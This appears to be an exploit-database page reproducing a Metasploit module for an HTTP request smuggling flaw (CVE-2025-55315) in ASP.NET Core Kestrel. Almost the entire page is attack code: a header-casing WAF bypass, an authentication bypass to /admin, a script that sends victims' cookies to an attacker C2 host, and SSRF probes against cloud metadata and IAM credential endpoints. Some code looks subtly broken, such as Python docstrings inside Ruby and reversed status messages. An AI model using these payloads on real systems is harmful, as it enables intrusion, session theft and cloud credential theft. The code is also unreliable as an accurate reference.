Lucene search
K

📄 ASP.net 8.0.10 Core Kestrel HTTP Request Smuggling

🗓️ 21 Apr 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 117 Views

Metasploit module exploits HTTP request smuggling in ASP.NET Core Kestrel due to malformed chunked encoding (CVE-2025-55315).

Related
Code
==================================================================================================================================
    | # Title     : ASP.net 8.0.10 Core Kestrel HTTP Request Smuggling Metasploit Module                                             |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://microsoft.com/                                                                                           |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit auxiliary module targets a critical HTTP request smuggling vulnerability in ASP.NET Core Kestrel caused by 
                     improper parsing of malformed chunked transfer encoding (notably LF-only line handling and case-variant headers like chUnKEd).
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Report
      include Msf::Auxiliary::Scanner
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'ASP.NET Core Kestrel HTTP Request Smuggling - CVE-2025-55315',
            'Description' => %q{
              This module exploits a critical HTTP Request Smuggling vulnerability in unpatched
              versions of ASP.NET Core Kestrel due to improper handling of malformed chunk
              extensions (LF-only line endings).
    
              The vulnerability allows:
                1. Authentication bypass to access restricted endpoints (/admin)
                2. Session hijacking via response queue poisoning
                3. SSRF to internal metadata services (AWS, GCP, Azure)
    
              Patched in .NET 9.0.1 / 8.0.10+ (October 2025).
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'indoushka'  
            ],
            'References' => [
              ['CVE', '2025-55315'],
              ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2025-55315'],
              ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55315']
            ],
            'DisclosureDate' => '2025-10-15',
            'Platform' => 'windows',
            'Targets' => [
              ['Automatic', {}]
            ],
            'DefaultTarget' => 0,
            'Notes' => {
              'Reliability' => [REPEATABLE_SESSION],
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS]
            }
          )
        )
    
        register_options([
          Opt::RPORT(80),
          OptBool.new('SSL', [false, 'Use SSL/TLS', false]),
          OptString.new('TARGET_URI', [true, 'Base path', '/']),
          OptString.new('BYPASS_PATH', [false, 'Path to bypass authentication', '/admin']),
          OptString.new('SSRF_TARGET', [false, 'Custom SSRF target URL', 'http://169.254.169.254/latest/meta-data/']),
          OptBool.new('AUTH_BYPASS', [true, 'Attempt authentication bypass', true]),
          OptBool.new('SESSION_HIJACK', [true, 'Attempt session hijacking', true]),
          OptBool.new('SSRF', [true, 'Attempt SSRF', true]),
          OptInt.new('TIMEOUT', [true, 'HTTP timeout in seconds', 10])
        ])
      end
    
      def run_host(ip)
        print_status("Starting CVE-2025-55315 exploitation against #{ip}:#{rport}")
        
        # Step 1: Fingerprinting - Check if vulnerable
        unless vulnerable?
          print_good("#{ip}:#{rport} appears patched or not vulnerable")
          return
        end
        
        print_error("#{ip}:#{rport} is VULNERABLE to CVE-2025-55315!")
        report_vulnerability
        
        # Step 2: Execute exploits based on user options
        exploit_results = {}
        
        if datastore['AUTH_BYPASS']
          exploit_results[:auth_bypass] = auth_bypass
        end
        
        if datastore['SESSION_HIJACK']
          exploit_results[:session_hijack] = session_hijack
        end
        
        if datastore['SSRF']
          exploit_results[:ssrf] = ssrf_exploit
        end
        
        # Step 3: Report findings
        report_exploitation_results(exploit_results)
      end
    
      private
    
      def build_chunked_request(method, path, body = '', extra_headers = [])
        """
        Build HTTP request with chunked encoding using WAF bypass
        Uses 'chUnKEd' header to bypass WAF rules
        """
        request = "#{method} #{path} HTTP/1.1\r\n"
        request += "Host: #{vhost}\r\n"
        request += "Transfer-Encoding: chUnKEd\r\n"  # WAF bypass
        request += "Content-Type: application/x-www-form-urlencoded\r\n"
        
        extra_headers.each do |header|
          request += "#{header}\r\n"
        end
        
        request += "\r\n"
        request += body
        
        request
      end
    
      def build_smuggled_request(method, path, headers = [], body = '')
        """
        Build smuggled HTTP request to be injected
        """
        req = "#{method} #{path} HTTP/1.1\r\n"
        req += "Host: #{vhost}\r\n"
        
        headers.each do |header|
          req += "#{header}\r\n"
        end
        
        req += "Content-Length: #{body.length}\r\n" if body.length > 0
        req += "\r\n"
        req += body
        
        req
      end
    
      def vulnerable?
        """
        Check if target is vulnerable by sending malformed chunked request
        """
        print_status("Checking if #{peer} is vulnerable...")
        
        # Malformed chunked payload with LF-only line endings
        test_payload = "1\nx\n0\n\n"
        request = build_chunked_request("POST", "/", test_payload)
        
        begin
          response = send_request_cgi({
            'method' => 'POST',
            'uri' => normalize_uri(datastore['TARGET_URI']),
            'data' => test_payload,
            'headers' => {
              'Transfer-Encoding' => 'chUnKEd'
            },
            'ctype' => 'application/x-www-form-urlencoded'
          }, datastore['TIMEOUT'])
          
          if response.nil?
            print_error("No response received")
            return false
          end
          
          if response.code == 400
            print_good("Target returned 400 Bad Request - Likely patched")
            return false
          else
            print_good("Target accepted malformed chunked encoding - VULNERABLE!")
            return true
          end
          
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
          print_error("Connection failed")
          return false
        end
      end
    
      def auth_bypass
        """
        Bypass authentication to access protected endpoints
        """
        bypass_path = datastore['BYPASS_PATH']
        print_status("Attempting authentication bypass to #{bypass_path}")
    
        smuggled = build_smuggled_request("GET", bypass_path, [
          "X-Forwarded-For: 127.0.0.1",
          "X-Bypass: true"
        ])
    
        exploit_payload = "1\nx\n" + smuggled + "0\r\n\r\n"
        
        begin
          response = send_request_cgi({
            'method' => 'POST',
            'uri' => normalize_uri(datastore['TARGET_URI']),
            'data' => exploit_payload,
            'headers' => {
              'Transfer-Encoding' => 'chUnKEd'
            }
          }, datastore['TIMEOUT'])
          
          if response && response.body
    
            indicators = ['admin', 'dashboard', 'welcome', 'panel', 'console', 'login']
            found = indicators.any? { |i| response.body.downcase.include?(i) }
            
            if found || (response.code == 200 && response.body.length > 100)
              print_good("Authentication bypass SUCCESSFUL!")
    
              path = store_loot(
                'kestrel.auth_bypass',
                'text/html',
                rhost,
                response.body,
                "cve_2025_55315_auth_bypass.html",
                "Authentication bypass response from #{bypass_path}"
              )
              print_good("Saved response to #{path}")
              
              report_note(
                host: rhost,
                port: rport,
                type: 'cve_2025_55315_auth_bypass',
                data: { path: bypass_path, status: response.code }
              )
              
              return true
            end
          end
          
          print_status("Authentication bypass failed")
          return false
          
        rescue ::Exception => e
          print_error("Auth bypass failed: #{e.message}")
          return false
        end
      end
    
      def session_hijack
        """
        Inject JavaScript to steal cookies via response queue poisoning
        """
        print_status("Attempting session hijacking...")
    
        js_payload = %Q|
    <script>
    fetch('http://attacker-c2.xyz/steal?c=' + encodeURIComponent(document.cookie), {
        mode: 'no-cors'
    });
    console.log('[*] Cookie stolen: ' + document.cookie);
    </script>
    |
    
        smuggled_response = %Q|HTTP/1.1 200 OK
    Content-Type: text/html
    Content-Length: #{js_payload.length}
    
    #{js_payload}|
    
        exploit_payload = "0\r\n\r\n" + smuggled_response
        
        begin
          response = send_request_cgi({
            'method' => 'POST',
            'uri' => normalize_uri(datastore['TARGET_URI']),
            'data' => exploit_payload,
            'headers' => {
              'Transfer-Encoding' => 'chUnKEd'
            }
          }, datastore['TIMEOUT'])
          
          print_good("Session hijacking payload injected")
          print_warning("Check your C2 server for stolen cookies")
          
          report_note(
            host: rhost,
            port: rport,
            type: 'cve_2025_55315_session_hijack',
            data: { payload: js_payload, status: 'injected' }
          )
          
          return true
          
        rescue ::Exception => e
          print_error("Session hijack failed: #{e.message}")
          return false
        end
      end
    
      def ssrf_exploit
        """
        SSRF to internal services (AWS metadata, internal endpoints)
        """
        ssrf_target = datastore['SSRF_TARGET']
        print_status("Attempting SSRF to #{ssrf_target}")
        
        # List of common SSRF targets to try
        targets = [
          ssrf_target,
          "http://169.254.169.254/latest/meta-data/",
          "http://169.254.169.254/latest/user-data/",
          "http://127.0.0.1:8080/actuator/env",
          "http://localhost:8080/actuator/health",
          "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
          "http://metadata.google.internal/computeMetadata/v1/",
          "http://100.100.100.200/latest/meta-data/"
        ]
        
        targets.uniq.each do |target|
          print_status("Trying SSRF target: #{target}")
          
          # Build smuggled request to internal target
          uri = URI(target) rescue nil
          next unless uri
          
          host_header = uri.host
          smuggled = build_smuggled_request("GET", target, [
            "Host: #{host_header}"
          ])
          
          exploit_payload = "0\r\n\r\n" + smuggled
          
          begin
            response = send_request_cgi({
              'method' => 'POST',
              'uri' => normalize_uri(datastore['TARGET_URI']),
              'data' => exploit_payload,
              'headers' => {
                'Transfer-Encoding' => 'chUnKEd'
              }
            }, datastore['TIMEOUT'])
            
            if response && response.body && response.body.length > 50
              # Check for sensitive data patterns
              if response.body =~ /role/i || 
                 response.body =~ /AccessKeyId/i || 
                 response.body =~ /SecretAccessKey/i ||
                 response.body =~ /Token/i
                
                print_good("SSRF SUCCESS! Found sensitive data from #{target}")
                
                # Save the loot
                path = store_loot(
                  'kestrel.ssrf',
                  'text/plain',
                  rhost,
                  response.body,
                  "cve_2025_55315_ssrf.txt",
                  "SSRF response from #{target}"
                )
                print_good("Saved SSRF response to #{path}")
                
                report_vuln(
                  host: rhost,
                  port: rport,
                  name: "CVE-2025-55315 SSRF",
                  info: "Successfully accessed internal endpoint: #{target}"
                )
                
                return true
              end
            end
            
          rescue ::Exception => e
            print_error("SSRF attempt to #{target} failed: #{e.message}")
            next
          end
        end
        
        print_status("SSRF exploitation failed")
        return false
      end
    
      def report_vulnerability
        """
        Report the vulnerability to the database
        """
        report_vuln(
          host: rhost,
          port: rport,
          name: "CVE-2025-55315 - ASP.NET Core Kestrel HTTP Request Smuggling",
          refs: references
        )
        
        report_note(
          host: rhost,
          port: rport,
          type: 'cve_2025_55315_vulnerable',
          data: { 
            cve: 'CVE-2025-55315',
            severity: 'Critical',
            cvss: 9.8
          }
        )
      end
    
      def report_exploitation_results(results)
        """
        Print and report exploitation results
        """
        print_status("\n" + "=" * 60)
        print_status("Exploitation Results Summary")
        print_status("=" * 60)
        
        results.each do |exploit, success|
          status = success ? "SUCCESS" : "FAILED"
          color = success ? "\e[32m" : "\e[31m"
          print_status("#{exploit.to_s.upcase}: #{color}#{status}\e[0m")
        end
        
        print_status("=" * 60)
    
        report_note(
          host: rhost,
          port: rport,
          type: 'cve_2025_55315_exploitation',
          data: results
        )
      end
    
      def peer
        "#{rhost}:#{rport}"
      end
    
      def vhost
        datastore['VHOST'] || rhost
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Apr 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.19.9
EPSS0.66258
SSVC
117